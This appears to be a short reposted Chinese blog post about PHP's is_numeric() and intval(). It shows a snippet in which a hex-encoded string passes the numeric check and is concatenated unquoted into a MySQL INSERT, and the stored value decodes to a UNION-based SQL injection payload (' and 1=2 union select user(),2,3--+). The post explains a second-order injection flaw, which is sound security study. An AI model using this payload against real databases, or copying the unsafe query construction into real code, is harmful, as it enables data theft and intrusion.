码迷,mamicode.com
首页 > Web开发 > 详细

PHP之intval()

时间:2015-03-07 18:30:35      阅读:160      评论:0      收藏:0      [点我收藏+]

标签:

Title:PHP之intval()  --2014-02-26 13:57

<?php
......
$a=‘0x2720616e6420313d3220756e696f6e2073656c656374207573657228292c322c332d2d2b‘;
//$a=$_REQUEST[‘a‘];
if(is_numeric($a))
{
intval($a);  //转也无用
$query_str="insert into tsa (strA) Values ($a)";
$con->query($query_str);
}
mysqli_close($con);
?>

  

入库后:

‘ and 1=2 union select user(),2,3--+

如图:

技术分享

FROM:

http://worm.cc/Is_php_funciton_is_numberic_safe.html

PHP之intval()

标签:

原文地址:http://www.cnblogs.com/TeaIng-Index/p/4320703.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!